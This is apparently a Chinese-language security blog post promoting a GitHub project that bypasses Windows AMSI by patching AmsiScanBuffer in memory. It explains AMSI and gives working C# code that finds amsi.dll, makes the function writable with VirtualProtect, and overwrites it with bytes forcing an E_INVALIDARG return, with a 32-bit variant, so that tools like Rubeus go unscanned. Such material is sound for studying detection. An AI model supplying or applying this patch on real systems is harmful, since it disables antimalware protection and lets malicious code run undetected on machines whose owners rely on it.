通过修补AmsiScanBuffer api内存绕过AMSI
作者:Sec-Labs | 发布时间:
补丁AMSI
通过修补AmsiScanBuffer api内存绕过AMSI

项目地址
https://github.com/D1rkMtr/PatchAMSI
相关原理讲解
什么是 AMSI?
是一 Antimalware Scan Interface 组 Windows API,它允许任何应用程序与防病毒产品集成(假设该产品充当 AMSI 提供程序)。 Windows Defender 与许多第三方 AV 解决方案一样自然地充当 AMSI 提供者。

简单地说,AMSI 充当了应用程序和 AV 引擎之间的桥梁。 以 PowerShell 为例——当用户尝试执行任何代码时,PowerShell 会在执行前将其提交给 AMSI。 如果 AV 引擎认为内容是恶意的,AMSI 将报告回来,PowerShell 不会运行代码。 对于在内存中运行且从不接触磁盘的基于脚本的恶意软件,这是一个很好的解决方案。
任何应用程序开发人员都可以使用 AMSI 来扫描用户提供的输入(这是测试绕过的好方法 ).
amsi.dll
对于向 AMSI 提交样本的应用程序,它必须 将 amsi.dll 加载到其地址空间并调用从该 DLL 导出的一系列 AMSI API。 我们可以使用 APIMonitor 之 类的工具来挂钩 PowerShell 并监控它调用了哪些 API。 按顺序,这些通常是:
- AmsiInitialize – 初始化 AMSI API。
- AmsiOpenSession – 用于关联多个扫描请求。
- AmsiScanBuffer – 扫描用户输入。
- AmsiCloseSession – 关闭会话。
- AmsiUninitialize – 删除 AMSI API 实例。

我们可以使用一些方便的 P/Invoke 在 C# 中复制它。
using System;
using System.Runtime.InteropServices;
namespace ConsoleApp
{
class Program
{
static void Main(string[] args)
{
}
[DllImport("amsi.dll")]
static extern uint AmsiInitialize(string appName, out IntPtr amsiContext);
[DllImport("amsi.dll")]
static extern IntPtr AmsiOpenSession(IntPtr amsiContext, out IntPtr amsiSession);
[DllImport("amsi.dll")]
static extern uint AmsiScanBuffer(IntPtr amsiContext, byte[] buffer, uint length, string contentName, IntPtr session, out AMSI_RESULT result);
enum AMSI_RESULT
{
AMSI_RESULT_CLEAN = 0,
AMSI_RESULT_NOT_DETECTED = 1,
AMSI_RESULT_BLOCKED_BY_ADMIN_START = 16384,
AMSI_RESULT_BLOCKED_BY_ADMIN_END = 20479,
AMSI_RESULT_DETECTED = 32768
}
}
}
我们所要做的就是初始化 AMSI,打开一个新会话并向它发送一个样本。
// Initialise AMSI and open a session
AmsiInitialize("TestApp", out IntPtr amsiContext);
AmsiOpenSession(amsiContext, out IntPtr amsiSession);
// Read Rubeus
var rubeus = File.ReadAllBytes(@"C:\Tools\Rubeus\Rubeus\bin\Debug\Rubeus.exe");
// Scan Rubeus
AmsiScanBuffer(amsiContext, rubeus, (uint)rubeus.Length, "Rubeus", amsiSession, out AMSI_RESULT amsiResult);
// Print result
Console.WriteLine(amsiResult);
这给了我们结果 AMSI_RESULT_DETECTED 。
内存补丁
等工具 Process Hacker 会显示 amsi.dll 确实在 AMSI 初始化后加载到进程中。 要覆盖内存中的函数,例如 AmsiScanBuffer ,我们需要获取它在内存中的位置。
类查找 amsi.dll 的基地址 为此,我们首先使用 .NET System.Diagnostics ,然后调用 GetProcAddress API。
var modules = Process.GetCurrentProcess().Modules;
var hAmsi = IntPtr.Zero;
foreach (ProcessModule module in modules)
{
if (module.ModuleName == "amsi.dll")
{
hAmsi = module.BaseAddress;
break;
}
}
var asb = GetProcAddress(hAmsi, "AmsiScanBuffer");
就我而言, AmsiScanBuffer 位于 0x00007ffe26aa35e0 。 通过查看与 amsi.dll 关联的内存地址,您可以确认这是在模块的主 RX 区域内。

要覆盖该区域中的指令,我们需要使用 VirtualProtect 使其可写。
var garbage = Encoding.UTF8.GetBytes("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
// Set region to RWX
VirtualProtect(asb, (UIntPtr)garbage.Length, 0x40, out uint oldProtect);
// Copy garbage bytes
Marshal.Copy(garbage, 0, asb, garbage.Length);
// Retore region to RX
VirtualProtect(asb, (UIntPtr)garbage.Length, oldProtect, out uint _);
然后,您将在此内存区域中看到一大堆 A,并且允许应用程序调用 AmsiScanBuffer 将导致进程崩溃(因为显然 A 不是有效的指令)。

我们可以在这里放置无数的指令。 一般的想法是改变行为以防止 AmsiScanBuffer 返回一个肯定的结果。
使用 IDA 等工具分析 DLL可以提供一些想法。

AmsiScanBuffer 所做的一件事是检查提供给它的参数。 如果它发现一个无效的参数,它会分支到 loc_1800036B5 。 在这里,它将 0x80070057 移动到 eax 中,绕过执行实际扫描的分支并返回。
0x80070057 是 E_INVALIDARG 的 码 HRESULT 返回 。
我们可以通过覆盖 AmsiScanBuffer 的开头来复制这种行为:
mov eax, 0x80070057
ret
defuse.ca 有一个有用的工具,可以将汇编转换为十六进制和字节数组。
而不是 var 垃圾 :
var patch = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
这将导致 AmsiScanBuffer 的返回码为 E_INVALIDARG,但实际扫描结果 为0—— 通常解释为 AMSI_RESULT_CLEAN。
似乎没有任何应用程序实际上正在检查返回码是否不是 S_OK ,并且只要扫描结果本身不等于或大于 32768 就会继续加载内容——这肯定是PowerShell 和 .NET 的案例。
以上适用于 64 位,但由于数据在堆栈上返回的方式,32 位所需的程序集略有不同。
mov eax, 0x80070057
ret 0x18